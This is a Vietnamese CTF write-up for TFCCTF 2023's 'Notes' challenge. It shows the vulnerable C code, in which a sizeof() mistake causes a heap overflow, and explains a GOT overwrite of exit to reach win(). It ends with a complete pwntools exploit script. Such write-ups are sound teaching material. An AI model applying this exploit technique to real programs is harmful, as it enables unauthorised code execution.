🍑Notes - TFCCTF2023
Source
Analysis
Đọc qua source code 1 hồi tôi thấy được 1 phần không kiểm tra input:
#define CONTENT_MAX (long long)256 // <--- here
...
note_t* add() {
note_t* note = malloc(sizeof(note_t));
note->content = malloc(sizeof(CONTENT_MAX)); //<--- here
printf("content> \n");
fgets(note->content, sizeof(CONTENT_MAX), stdin);
return note;
}
void edit(note_t* note) {
printf("content> \n");
fgets(note->content, CONTENT_MAX, stdin); // <---- here
}
Tôi đoán bài này sẽ ghi đè vào những phần dữ liệu nhảy cảm trên bộ nhớ heap và có thể chỉnh sửa tùy theo ý muốn.
Set break point tại add() và edit()


Đúng như tôi dự đoán ban đầu
Nhưng làm sao để win được bài này?

Cách duy nhất là GOT overrite thằng exit@plt ---> win()
Test:
ban đầu tôi gửi như bình thường 2 index 0 và 1 sau đó tôi sửa và gửi lại 1 đoạn dữ liệu lên index 0 trong heap


Sau khi tôi gửi tiếp lần nữa ở index 1 thì nhận được lỗi trên. Thay thế dòng chữ "Kinabler" --> thành got của exit và sau đó edit lại ở index1 và gửi lên địa chỉ của hàm win. Tôi được kết quả như sau:


Full payload:
from pwn import *
elf = context.binary = ELF("./notes")
r = elf.process()
gdb.attach(r, '''
b* main+313\n
b* edit\n
c
''')
def add(index):
r.sendline(str(1))
r.sendline(str(index))
r.sendline(b"AA")
def edit(index, payload:bytes):
r.sendline(str(2))
r.sendline(str(index))
r.sendline(payload)
add(0)
add(1)
payload = b"A" * 0x20 + p64(elf.got["exit"])
edit(0, payload)
edit(1, p64(elf.sym.win))
r.sendline(str(0))
r.interactive()
Last updated